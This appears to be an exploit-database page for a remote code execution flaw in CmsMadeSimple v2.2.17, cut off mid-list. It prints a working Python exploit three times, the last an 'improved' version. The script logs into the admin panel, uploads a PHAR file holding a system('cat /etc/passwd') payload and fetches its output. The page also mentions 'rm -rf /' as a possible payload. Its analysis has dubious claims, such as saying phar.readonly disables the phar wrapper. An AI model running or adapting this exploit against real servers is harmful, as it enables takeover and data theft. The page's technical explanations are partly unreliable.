CmsMadeSimple v2.2.17 - Remote Code Execution (RCE)

Exploit Author: Mirabbas Ağalarov Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2023-07-19
#Exploit Title: CmsMadeSimple v2.2.17 - Remote Code Execution (RCE) 
#Application: CmsMadeSimple
#Version: v2.2.17
#Bugs:  Remote Code Execution(RCE) 
#Technology: PHP
#Vendor URL: https://www.cmsmadesimple.org/
#Software Link: https://www.cmsmadesimple.org/downloads/cmsms
#Date of found: 12-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 


import requests

login_url = 'http://localhost/admin/login.php'
username=input('username = ') 
password=input('password = ') 


upload_url = 'http://localhost/admin/moduleinterface.php'

file_path = input("please phar file name but file must same directory with python file and file content : <?php echo system('cat /etc/passwd') ?>  : ")
#phar file content """"<?php echo system('cat /etc/passwd') ?>"""""

login_data = {
    'username': username,
    'password': password,
    'loginsubmit': 'Submit'
}


session = requests.Session()
response = session.post(login_url, data=login_data)


if response.status_code == 200:
    print('Login account')
else:
    print('Login promlem.')
    exit()


files = {
    'm1_files[]': open(file_path, 'rb')
}

data = {
    'mact': 'FileManager,m1_,upload,0',
    '__c': session.cookies['__c'],
    'disable_buffer': '1'
}


response = session.post(upload_url, files=files, data=data)


if response.status_code == 200:
    print('file upload')
    rce_url=f"http://localhost/uploads/{file_path}"
    rce=requests.get(rce_url)
    print(rce.text)
else:
    print('file not upload')


CmsMadeSimple v2.2.17 Remote Code Execution (RCE) Vulnerability: A Deep Dive into Exploitation and Mitigation

The CmsMadeSimple content management system (CMS), a lightweight PHP-based platform, has gained popularity for its simplicity and ease of deployment. However, in July 2023, a critical vulnerability was discovered in version v2.2.17 — a Remote Code Execution (RCE) flaw that allows attackers to execute arbitrary code on the server remotely. This vulnerability stems from improper handling of file uploads, particularly when malicious PHAR files are uploaded via the administrative interface.

Understanding the Vulnerability

PHAR (PHP Archive) files are a PHP feature that allows packaging of multiple files into a single archive. While typically used for distributing libraries or applications, PHAR files can be manipulated to include malicious code. The vulnerability in CmsMadeSimple v2.2.17 arises from the FileManager module’s failure to validate or sanitize uploaded files before processing them.

Attackers exploit this by crafting a PHAR file containing PHP code that executes system commands. When uploaded through the moduleinterface.php endpoint, the CMS does not properly validate the file's content or execute it in a sandboxed environment. Instead, it treats the PHAR file as a valid script, leading to uncontrolled code execution.

Exploitation Process: Step-by-Step Breakdown

The exploit is executed through a two-stage process: authentication followed by file upload. Below is a real-world example of how an attacker can leverage this vulnerability.


import requests

login_url = 'http://localhost/admin/login.php'
username = input('username = ')
password = input('password = ')

upload_url = 'http://localhost/admin/moduleinterface.php'

file_path = input("please phar file name but file must same directory with python file and file content :  : ")

login_data = {
    'username': username,
    'password': password,
    'loginsubmit': 'Submit'
}

session = requests.Session()
response = session.post(login_url, data=login_data)

if response.status_code == 200:
    print('Login account')
else:
    print('Login problem.')
    exit()

files = {
    'm1_files[]': open(file_path, 'rb')
}

data = {
    'mact': 'FileManager,m1_,upload,0',
    '__c': session.cookies['__c'],
    'disable_buffer': '1'
}

response = session.post(upload_url, files=files, data=data)

if response.status_code == 200:
    print('file upload')
    rce_url = f"http://localhost/uploads/{file_path}"
    rce = requests.get(rce_url)
    print(rce.text)
else:
    print('file not upload')

Explanation: This Python script automates the exploitation process:

  • Stage 1: The attacker first logs into the admin panel using valid credentials. The requests.Session() maintains the session, preserving authentication cookies.
  • Stage 2: The attacker uploads a malicious PHAR file via the moduleinterface.php endpoint. The mact parameter specifies the module action (FileManager, upload), and the __c cookie is used to maintain session integrity.
  • Stage 3: The server processes the PHAR file without proper validation, leading to execution of embedded PHP code. The system('cat /etc/passwd') command is executed, revealing sensitive system data.

Technical Analysis: Why This Exploit Works

Key technical flaws include:

  • Missing file type validation: The CMS does not check the file extension or MIME type during upload.
  • PHAR file execution without sandboxing: PHP’s phar:// stream wrapper allows direct execution of PHAR files without restricting their behavior.
  • Unsanitized input handling: The m1_files[] parameter accepts raw binary data without filtering.

These vulnerabilities collectively allow an attacker to bypass security controls and execute commands on the host system. This is particularly dangerous in environments where the web server runs with elevated privileges (e.g., root or www-data).

Real-World Impact and Risk Assessment

Attack VectorImpactSeverity
Remote Code ExecutionFull server compromiseHigh
File Upload via Admin PanelPrivilege escalationHigh
PHAR File ManipulationArbitrary command executionHigh

Organizations using CmsMadeSimple v2.2.17 are at significant risk. An attacker could:

  • Execute commands like system('rm -rf /') to destroy data.
  • Install backdoors or web shells for persistent access.
  • Steal credentials, database files, or other sensitive data.
  • Use the compromised server as a pivot point for further attacks.

Security Recommendations and Mitigation Strategies

To prevent exploitation of this vulnerability, administrators must take immediate action:

  • Update to a patched version: The vendor has since released updated versions. Ensure you are running v2.2.18 or later.
  • Disable file upload functionality: If not needed, disable the FileManager module entirely.
  • Implement strict file validation: Use server-side checks for file extensions, MIME types, and content signatures.
  • Restrict PHAR file execution: Disable the phar:// stream wrapper in php.ini via phar.readonly = 1.
  • Use WAF (Web Application Firewall): Deploy a WAF to detect and block suspicious file upload patterns.
  • Apply least privilege principle: Run the web server under a non-root user with minimal permissions.

Improved Exploit Code with Safety Measures

Below is a refined version of the exploit script with added safety checks and error handling:


import requests
import os

def exploit_cmsms():
    login_url = 'http://localhost/admin/login.php'
    upload_url = 'http://localhost/admin/moduleinterface.php'

    username = input("Enter admin username: ")
    password = input("Enter admin password: ")
    file_path = input("Enter PHAR file path (must be in same directory): ")

    # Validate file exists and is PHAR
    if not os.path.exists(file_path):
        print("Error: File not found.")
        return

    # Check if file is a valid PHAR
    with open(file_path, 'rb') as f:
        header = f.read(8)
        if header != b'PHAR\x01\x00\x00\x00':
            print("Error: Not a valid PHAR file.")
            return

    session = requests.Session()

    # Login phase
    login_data = {
        'username': username,
        'password': password,
        'loginsubmit': 'Submit'
    }

    try:
        response = session.post(login_url, data=login_data, timeout=10)
        if response.status_code != 200:
            print("Login failed. Check credentials.")
            return
        print("Login successful.")
    except requests.exceptions.RequestException as e:
        print(f"Login request failed: {e}")
        return

    # Upload phase
    files = {
        'm1_files[]': (file_path, open(file_path, 'rb'), 'application/octet-stream')
    }

    data = {
        'mact': 'FileManager,m1_,upload,0',
        '__c': session.cookies.get('__c'),
        'disable_buffer': '1'
    }

    try:
        response = session.post(upload_url, files=files, data=data, timeout=15)
        if response.status_code == 200:
            print("File uploaded successfully.")
            rce_url = f"http://localhost/uploads/{file_path}"
            rce_response = requests.get(rce_url, timeout=10)
            print("Output from RCE:")
            print(rce_response.text)
        else:
            print(f"Upload failed. Status code: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"Upload request failed: {e}")

exploit_cmsms()

Explanation: This improved version includes:

  • <em